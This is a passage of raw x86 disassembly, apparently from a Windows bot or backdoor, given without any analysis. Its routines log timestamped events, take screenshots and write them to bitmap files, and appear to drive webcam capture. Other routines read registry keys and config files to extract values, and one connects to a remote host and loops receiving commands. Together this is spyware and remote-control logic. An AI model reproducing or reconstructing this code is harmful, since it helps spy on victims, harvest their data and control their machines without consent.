push 7Fh ; Count
lea eax, [ebx+80h]
push ebx ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_4151E6: ; CODE XREF: sub_4151AD+25j
sub ebx, edi
cmp ebx, esi
jge short loc_4151CF
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_4151AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415221(char *Format,char Args)
sub_415221 proc near ; CODE XREF: sub_4017ED+F7p
; sub_401ACD:loc_402077p ...
Dest = byte ptr -80h
Format = dword ptr 8
Args = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+Args]
push eax ; Args
lea eax, [ebp+Dest]
push [ebp+Format] ; Format
push 80h ; Count
push eax ; Dest
call __vsnprintf
lea eax, [ebp+Dest]
push eax
call sub_4151AD
add esp, 14h
leave
retn
sub_415221 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_41524D(int,char *Str,int,int)
sub_41524D proc near ; CODE XREF: sub_401ACD+27D5p
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset byte_4CF27C
xor ecx, ecx
loc_415254: ; CODE XREF: sub_41524D+13j
mov [eax], cl
add eax, 80h
cmp eax, offset byte_4D327C
jl short loc_415254
cmp [esp+arg_C], ecx
jnz short loc_415282
push ecx ; int
push [esp+4+arg_8] ; int
push offset dword_43688C ; int
push [esp+0Ch+Str] ; Str
push [esp+10h+arg_0] ; int
call sub_409A73
add esp, 14h
loc_415282: ; CODE XREF: sub_41524D+19j
push offset dword_436878
call sub_4151AD
pop ecx
retn
sub_41524D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41528E proc near ; DATA XREF: sub_401ACD+2888o
Dest = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
Str = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_4152E1
push edx ; int
lea eax, [ebp+var_118]
push [ebp+var_14] ; int
push offset dword_4368BC ; int
push eax ; Str
push [ebp+var_11C] ; int
call sub_409A73
add esp, 14h
loc_4152E1: ; CODE XREF: sub_41528E+33j
cmp [ebp+Str], 0
jz short loc_415301
lea eax, [ebp+Str]
push eax ; Str
call _atoi
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_415301
mov [ebp+var_8], eax
loc_415301: ; CODE XREF: sub_41528E+5Aj
; sub_41528E+6Ej
and [ebp+arg_0], 0
mov esi, offset byte_4CF27C
loc_41530A: ; CODE XREF: sub_41528E+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_415364
cmp byte ptr [esi], 0
jz short loc_415353
cmp [ebp+Str], 0
jz short loc_415339
cmp [ebp+var_4], 0
jnz short loc_415339
lea eax, [ebp+Str]
push eax ; int
push esi ; Str
call sub_418087
pop ecx
test eax, eax
pop ecx
jz short loc_415353
loc_415339: ; CODE XREF: sub_41528E+90j
; sub_41528E+96j
push edi ; int
lea eax, [ebp+var_118]
push [ebp+var_14] ; int
push esi ; int
push eax ; Str
push [ebp+var_11C] ; int
call sub_409A73
add esp, 14h
loc_415353: ; CODE XREF: sub_41528E+87j
; sub_41528E+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset byte_4D327C
jl short loc_41530A
loc_415364: ; CODE XREF: sub_41528E+82j
lea eax, [ebp+Dest]
push offset asc_4368A0 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_41539E
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+var_118]
push eax ; Str
push [ebp+var_11C] ; int
call sub_409A73
add esp, 14h
loc_41539E: ; CODE XREF: sub_41528E+EEj
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_18]
call sub_40B413
pop ecx
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
sub_41528E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4153BD proc near ; CODE XREF: sub_401ACD+7350p
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_4CB640 ; CreateDCA
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_4155F1
push 8
push edi
call dword_4CB65C ; GetDeviceCaps
push 0Ah
push edi
mov [ebp+var_8], eax
call dword_4CB65C ; GetDeviceCaps
push 0Ch
push edi
mov [ebp+var_C], eax
call dword_4CB65C ; GetDeviceCaps
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_41541F
push 18h
push edi
call dword_4CB65C ; GetDeviceCaps
mov ebx, 100h
jmp short loc_415421
; ---------------------------------------------------------------------------
loc_41541F: ; CODE XREF: sub_4153BD+50j
xor ebx, ebx
loc_415421: ; CODE XREF: sub_4153BD+60j
push edi
call dword_4CB6A0 ; CreateCompatibleDC
cmp eax, esi
mov [ebp+var_4], eax
jz loc_4155D6
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call dword_4CB698 ; CreateDIBSection
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_4155E1
push eax
push [ebp+var_4]
call dword_4CB524 ; SelectObject
cmp eax, esi
jz loc_4155E1
cmp eax, 0FFFFFFFFh
jz loc_4155E1
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call dword_4CB69C ; BitBlt
test eax, eax
jz loc_4155E1
cmp ebx, esi
jz short loc_4154DE
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call dword_4CB578 ; GetDIBColorTable
mov ebx, eax
loc_4154DE: ; CODE XREF: sub_4153BD+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
call ds:dword_4270EC ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_4155C1
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
call ds:dword_4270E0 ; WriteFile
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
call ds:dword_4270E0 ; WriteFile
cmp ebx, esi
jz short loc_4155A3
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
call ds:dword_4270E0 ; WriteFile
loc_4155A3: ; CODE XREF: sub_4153BD+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
call ds:dword_4270E0 ; WriteFile
push [ebp+arg_0]
call ds:dword_427068 ; CloseHandle
push 1
pop esi
loc_4155C1: ; CODE XREF: sub_4153BD+1A2j
push [ebp+var_1C]
call dword_4CB5B0 ; DeleteObject
push [ebp+var_4]
call dword_4CB510 ; DeleteDC
mov edi, [ebp+var_20]
loc_4155D6: ; CODE XREF: sub_4153BD+70j
push edi
call dword_4CB510 ; DeleteDC
mov eax, esi
jmp short loc_4155F3
; ---------------------------------------------------------------------------
loc_4155E1: ; CODE XREF: sub_4153BD+C7j
; sub_4153BD+D9j ...
push edi
call dword_4CB510 ; DeleteDC
push [ebp+var_4]
call dword_4CB510 ; DeleteDC
loc_4155F1: ; CODE XREF: sub_4153BD+23j
xor eax, eax
loc_4155F3: ; CODE XREF: sub_4153BD+222j
pop edi
pop esi
pop ebx
leave
retn
sub_4153BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4155F8(int,size_t Size,int,int)
sub_4155F8 proc near ; CODE XREF: sub_401ACD+7477p
var_34 = byte ptr -34h
var_20 = dword ptr -20h
Src = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Size = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4D3280
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4CB5A4
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_415636
mov eax, esi
jmp loc_4157EC
; ---------------------------------------------------------------------------
loc_415636: ; CODE XREF: sub_4155F8+35j
push edi
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_415653
push ebx
push [ebp+Size]
push 40Ah
push edi
call dword_4CB6B0 ; SendMessageA
jmp short loc_415655
; ---------------------------------------------------------------------------
loc_415653: ; CODE XREF: sub_4155F8+47j
xor eax, eax
loc_415655: ; CODE XREF: sub_4155F8+59j
cmp eax, ebx
jnz short loc_415660
loc_415659: ; CODE XREF: sub_4155F8+88j
; sub_4155F8+BCj
mov ebx, esi
jmp loc_4157E1
; ---------------------------------------------------------------------------
loc_415660: ; CODE XREF: sub_4155F8+5Fj
push edi
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_41567D
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call dword_4CB6B0 ; SendMessageA
loc_41567D: ; CODE XREF: sub_4155F8+71j
cmp [ebp+var_20], ebx
jz short loc_415659
push edi
call dword_4CB5F4 ; IsWindow
test eax, eax
mov edi, 42Ch
jz short loc_4156A3
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_4CB6B0 ; SendMessageA
mov [ebp+Size], eax
jmp short loc_4156A6
; ---------------------------------------------------------------------------
loc_4156A3: ; CODE XREF: sub_4155F8+98j
mov [ebp+Size], ebx
loc_4156A6: ; CODE XREF: sub_4155F8+A9j
push [ebp+Size] ; Size
call _malloc
cmp eax, ebx
pop ecx
mov [ebp+Src], eax
jz short loc_415659
push [ebp+Size] ; Size
call _malloc
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4156CD
push 1
pop ebx
jmp loc_4157E1
; ---------------------------------------------------------------------------
loc_4156CD: ; CODE XREF: sub_4155F8+CBj
push [ebp+var_4]
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_4156EA
push [ebp+Src]
push [ebp+Size]
push edi
push [ebp+var_4]
call dword_4CB6B0 ; SendMessageA
loc_4156EA: ; CODE XREF: sub_4155F8+E0j
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push esi ; Dst
call _memcpy
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_415705
mov ecx, 280h
loc_415705: ; CODE XREF: sub_4155F8+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_415711
mov eax, 1E0h
loc_415711: ; CODE XREF: sub_4155F8+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4CB5F4 ; IsWindow
test eax, eax
mov edi, 42Dh
jz short loc_41575B
push esi
push [ebp+Size]
push edi
push [ebp+var_4]
call dword_4CB6B0 ; SendMessageA
loc_41575B: ; CODE XREF: sub_4155F8+153j
push [ebp+var_4]
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_415778
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_4CB6B0 ; SendMessageA
loc_415778: ; CODE XREF: sub_4155F8+16Ej
push [ebp+var_4]
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_415797
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_4CB6B0 ; SendMessageA
loc_415797: ; CODE XREF: sub_4155F8+18Bj
push [ebp+var_4]
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_4157B4
push [ebp+Src]
push [ebp+Size]
push edi
push [ebp+var_4]
call dword_4CB6B0 ; SendMessageA
loc_4157B4: ; CODE XREF: sub_4155F8+1AAj
push [ebp+Src]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_4157E1
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_4CB6B0 ; SendMessageA
loc_4157E1: ; CODE XREF: sub_4155F8+63j
; sub_4155F8+D0j ...
push [ebp+var_4]
call dword_4CB704 ; DestroyWindow
mov eax, ebx
loc_4157EC: ; CODE XREF: sub_4155F8+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4155F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4157F1(int,size_t Size,int,int,int)
sub_4157F1 proc near ; CODE XREF: sub_401ACD+752Fp
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
Src = dword ptr -4
arg_0 = dword ptr 8
Size = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4D3280
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4CB5A4
mov edi, eax
cmp edi, ebx
jnz short loc_41582F
mov eax, esi
jmp loc_415A2B
; ---------------------------------------------------------------------------
loc_41582F: ; CODE XREF: sub_4157F1+35j
push edi
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_41584C
push ebx
push [ebp+Size]
push 40Ah
push edi
call dword_4CB6B0 ; SendMessageA
jmp short loc_41584E
; ---------------------------------------------------------------------------
loc_41584C: ; CODE XREF: sub_4157F1+47j
xor eax, eax
loc_41584E: ; CODE XREF: sub_4157F1+59j
cmp eax, ebx
jnz short loc_415859
loc_415852: ; CODE XREF: sub_4157F1+8Bj
; sub_4157F1+BCj
mov ebx, esi
jmp loc_415A22
; ---------------------------------------------------------------------------
loc_415859: ; CODE XREF: sub_4157F1+5Fj
push edi
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_415879
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call dword_4CB6B0 ; SendMessageA
loc_415879: ; CODE XREF: sub_4157F1+71j
cmp [ebp+var_7C], ebx
jz short loc_415852
push edi
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_41589C
push ebx
push ebx
push 42Ch
push edi
call dword_4CB6B0 ; SendMessageA
mov [ebp+Size], eax
jmp short loc_41589F
; ---------------------------------------------------------------------------
loc_41589C: ; CODE XREF: sub_4157F1+96j
mov [ebp+Size], ebx
loc_41589F: ; CODE XREF: sub_4157F1+A9j
push [ebp+Size] ; Size
call _malloc
cmp eax, ebx
pop ecx
mov [ebp+Src], eax
jz short loc_415852
push [ebp+Size] ; Size
call _malloc
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4158C6
push 1
pop ebx
jmp loc_415A22
; ---------------------------------------------------------------------------
loc_4158C6: ; CODE XREF: sub_4157F1+CBj
push edi
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_4158E3
push [ebp+Src]
push [ebp+Size]
push 42Ch
push edi
call dword_4CB6B0 ; SendMessageA
loc_4158E3: ; CODE XREF: sub_4157F1+DEj
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push esi ; Dst
call _memcpy
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_4158FE
mov ecx, 0A0h
loc_4158FE: ; CODE XREF: sub_4157F1+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_415908
push 78h
pop eax
loc_415908: ; CODE XREF: sub_4157F1+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_41594D
push esi
push [ebp+Size]
push 42Dh
push edi
call dword_4CB6B0 ; SendMessageA
loc_41594D: ; CODE XREF: sub_4157F1+14Aj
push edi
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_41596A
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call dword_4CB6B0 ; SendMessageA
loc_41596A: ; CODE XREF: sub_4157F1+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_4159A8
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call dword_4CB6B0 ; SendMessageA
loc_4159A8: ; CODE XREF: sub_4157F1+1A3j
push edi
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_4159C3
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_4CB6B0 ; SendMessageA
loc_4159C3: ; CODE XREF: sub_4157F1+1C0j
push edi
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_4159DC
push ebx
push ebx
push 43Eh
push edi
call dword_4CB6B0 ; SendMessageA
loc_4159DC: ; CODE XREF: sub_4157F1+1DBj
push edi
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_4159F9
push [ebp+Src]
push [ebp+Size]
push 42Dh
push edi
call dword_4CB6B0 ; SendMessageA
loc_4159F9: ; CODE XREF: sub_4157F1+1F4j
push [ebp+Src]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
push edi
call dword_4CB5F4 ; IsWindow
test eax, eax
jz short loc_415A22
push ebx
push ebx
push 40Bh
push edi
call dword_4CB6B0 ; SendMessageA
loc_415A22: ; CODE XREF: sub_4157F1+63j
; sub_4157F1+D0j ...
push edi
call dword_4CB704 ; DestroyWindow
mov eax, ebx
loc_415A2B: ; CODE XREF: sub_4157F1+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4157F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415A30 proc near ; CODE XREF: sub_401ACD+25F2p
Filename = byte ptr -3F4h
var_2F0 = dword ptr -2F0h
var_F0 = byte ptr -0F0h
Str = byte ptr -70h
var_C = dword ptr -0Ch
File = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_4368EC, ebx
mov [ebp+var_C], 80h
jz loc_415BD1
push esi
push edi
mov eax, offset off_4368EC
mov esi, offset dword_4368F8
mov edi, offset asc_437AF0 ; "-"
loc_415A60: ; CODE XREF: sub_415A30+199j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_4CB6C4 ; RegOpenKeyExA
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_4CB554 ; RegQueryValueExA
test eax, eax
jnz loc_415BB7
mov eax, [esi]
cmp eax, ebx
jz loc_415B7B
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+Filename]
push offset Format ; "%s\\%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Filename]
push offset aR ; "r"
push eax ; Filename
call _fopen
add esp, 18h
cmp eax, ebx
mov [ebp+File], eax
jz loc_415BB7
push eax ; File
loc_415AD9: ; CODE XREF: sub_415A30+D4j
lea eax, [ebp+Str]
push 64h ; MaxCount
push eax ; Buf
call _fgets
add esp, 0Ch
test eax, eax
jz loc_415B70
push dword ptr [esi+4] ; SubStr
lea eax, [ebp+Str]
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_415B06
push [ebp+File]
jmp short loc_415AD9
; ---------------------------------------------------------------------------
loc_415B06: ; CODE XREF: sub_415A30+CFj
push 3Dh ; Val
push dword ptr [esi+4] ; Str
call _strchr
pop ecx
test eax, eax
pop ecx
jz short loc_415B34
lea eax, [ebp+Str]
push offset asc_437AEC ; "="
push eax ; Str
call _strtok
push offset asc_437AEC ; "="
push ebx ; Str
call _strtok
add esp, 10h
jmp short loc_415B37
; ---------------------------------------------------------------------------
loc_415B34: ; CODE XREF: sub_415A30+E4j
lea eax, [ebp+Str]
loc_415B37: ; CODE XREF: sub_415A30+102j
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi ; Format
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+var_2F0]
push ebx ; int
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409A73
lea eax, [ebp+var_2F0]
push eax
call sub_4151AD
add esp, 18h
loc_415B70: ; CODE XREF: sub_415A30+B9j
push [ebp+File] ; File
call _fclose
pop ecx
jmp short loc_415BB7
; ---------------------------------------------------------------------------
loc_415B7B: ; CODE XREF: sub_415A30+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+var_2F0]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409A73
lea eax, [ebp+var_2F0]
push eax
call sub_4151AD
add esp, 28h
loc_415BB7: ; CODE XREF: sub_415A30+60j
; sub_415A30+A2j ...
push [ebp+var_4]
call dword_4CB630 ; RegCloseKey
add esi, 18h
cmp [esi-0Ch], ebx
lea eax, [esi-0Ch]
jnz loc_415A60
pop edi
pop esi
loc_415BD1: ; CODE XREF: sub_415A30+19j
pop ebx
leave
retn
sub_415A30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415BD4 proc near ; CODE XREF: sub_415C5A+33p
; sub_4161BD+BCp
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CB6D4 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_415C50
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_4]
call dword_4CB654 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CB694 ; inet_addr
cmp eax, esi
jnz short loc_415C35
push [ebp+arg_0]
call dword_4CB6D8 ; gethostbyname
test eax, eax
jz short loc_415C50
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_415C35: ; CODE XREF: sub_415BD4+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call dword_4CB5FC ; connect
cmp eax, esi
jnz short loc_415C54
push edi
call dword_4CB6EC ; closesocket
loc_415C50: ; CODE XREF: sub_415BD4+1Bj
; sub_415BD4+58j
mov eax, esi
jmp short loc_415C56
; ---------------------------------------------------------------------------
loc_415C54: ; CODE XREF: sub_415BD4+73j
mov eax, edi
loc_415C56: ; CODE XREF: sub_415BD4+7Ej
pop edi
pop esi
leave
retn
sub_415BD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C5A proc near ; DATA XREF: sub_401ACD+A1Eo
Dst = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push 1
pop esi
push [ebp+var_14]
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_415BD4
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_415CED
lea eax, [ebp+Dst]
push offset asc_437B6C ; "-"
push eax ; Dest
call _sprintf
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_415CD0
push edi ; int
lea eax, [ebp+Dst]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push ebx ; int
call sub_409A73
add esp, 14h
loc_415CD0: ; CODE XREF: sub_415C5A+59j
lea eax, [ebp+Dst]
push eax
call sub_4151AD
push [ebp+var_10]
call sub_40B413
pop ecx
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
loc_415CED: ; CODE XREF: sub_415C5A+3Fj
push offset byte_43D808
push ebx
call sub_419C65
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_415D58
lea eax, [ebp+Dst]
push offset asc_437B3C ; "-"
push eax ; Dest
call _sprintf
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_415D34
push edi ; int
lea eax, [ebp+Dst]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push ebx ; int
call sub_409A73
add esp, 14h
loc_415D34: ; CODE XREF: sub_415C5A+BDj
lea eax, [ebp+Dst]
push eax
call sub_4151AD
pop ecx
push ebx
call dword_4CB6EC ; closesocket
push [ebp+var_10]
call sub_40B413
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
loc_415D58: ; CODE XREF: sub_415C5A+A3j
push 64h
call ds:dword_427078 ; Sleep
xor edi, edi
mov esi, 1000h
loc_415D67: ; CODE XREF: sub_415C5A+168j
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push edi
push esi
push eax
push ebx
call dword_4CB66C ; recv
test eax, eax
jle short loc_415DC4
lea eax, [ebp+Dst]
push offset asc_42A0A0 ; "\n"
push eax ; Dest
call _strcat
lea eax, [ebp+Dst]
push eax ; Str
call sub_419A51
add esp, 0Ch
